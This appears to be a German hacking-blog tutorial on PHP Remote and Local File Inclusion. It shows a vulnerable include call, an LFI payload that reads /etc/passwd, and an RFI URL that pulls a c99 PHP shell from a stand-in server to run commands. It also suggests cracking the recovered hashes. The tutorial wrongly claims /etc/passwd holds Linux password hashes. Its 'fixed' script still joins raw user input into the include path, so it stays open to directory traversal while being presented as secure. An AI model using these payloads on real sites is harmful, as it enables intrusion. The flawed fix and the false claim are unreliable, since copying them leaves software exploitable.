R3s1stanc3

Ich bin root, ich darf das!

Remote/Local File Inclusion

Gliederung:
0x01: Was ist eine RFI/LFI?
0x02: Wie entsteht eine RFI/LFI Lücke?
0x03: Was kann man dadurch anrichten?
0x04: Wie kann man die Lücke schließen?

0x01 Was ist eine RFI/LFI?

RFI: Einbinden EXTERNER (Remote) Dateien über die URL

LFI: Einbinden INTERNER (Local)Dateien über die URL

0x02 Wie entsteht eine RFI/LFI Lücke?

Wenn in einem PHP Script eine Datei über einen Get-Parameter includet wird, und dieser nicht ausreichend überprüft wird, entsteht eine RFI/LFI Lücke (Bis jetzt gibt es noch keinen großen Unterschied, der wird später dann erklärt).

Beispiel:

Vulnerable Code
1
2
3
<?PHP
include($_GET['s']);
?>

Wenn man die Seite folgendermaßen aufrufen würde: http://seite.com/index.php?s=index.html, würde die index.html, die im selben Ordner wie die index.php liegt, angezeigt werden. Weiter gehts mit Punkt 3.

0x03: Was kann man dadurch anrichten?

LFI: Gehen wir von dem oben genannten Beispiel aus. Da der Get-Parameter nicht überprüft wird, ist es Möglich jede beliebige andere Datei die auf dem Server liegt einzubinden. Beispiel:
http://seite.com/index.php?s=../../etc/passwd
Damit würde man die Datei “passwd”. in der Unter Linux die Passwörter gespeichert sind, einbinden. Die Passwörter sind zwar gehasht aber dafür gibt es GPU Bruteforcer oder Rainbowtables.

RFI: Mit einer RFI ist es sogar möglich, Dateien einzubinden, die auf einem externen Server liegen. Dabei werden PHP Shells eingebunden, die dann im Betriebssystem Befehle ausführen (z.B. c99.php, c100.php, …) Das sieht dann so aus:
http://seite.com/index.php?s=http://meinserver.com/c99.php
Dadurch kann man Befehle auf dem System ausführen.

0x04: Wie kann man die Lücke schließen?

Eine RFI Lücke lässt sich schließen, indem man die Einstellung “allow_url_fopen” in der PHP.ini auf “off” stellt. Dadurch können, auch wenn es vom Besitzer so gewollt ist, keine externen Dateien mehr eingebunden werden. Dadurch lassen sich aber NUR RFI Lücken schließen. Was natürlich besser ist und RFI sowie LFI Lücken schließt, ist ein sauberes Script zu schrieben und die Get-Parameter zu überprüfen.

Das oben genannte Script würde abgesichert so aussehen:

Fixed Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?PHP

          if(isset($_GET['s']) && !empty($_GET['s']))
          {
            if(file_exists(realpath('./pages/')."/".$_GET['s'].".html"))
            {
              include(realpath('./pages/')."/".$_GET['s'].".html");
            }
            else {
              include(realpath('./pages/').'/error.html');
            }
          }
    else
          {
            include(realpath('./pages/').'/index.html');
          }

?>

Dadurch können nur HTML-Dateien eingebunden werden, die im Ordener “pages” liegen. Das macht das Script noch mal übersichtlicher und der Link wird nur noch so aufgerufen: http://seite.com/index.php?s=index

Ich hoffe ihr habt alles einigermaßen verstanden. Wenn es noch Fragen gibt einfach stellen.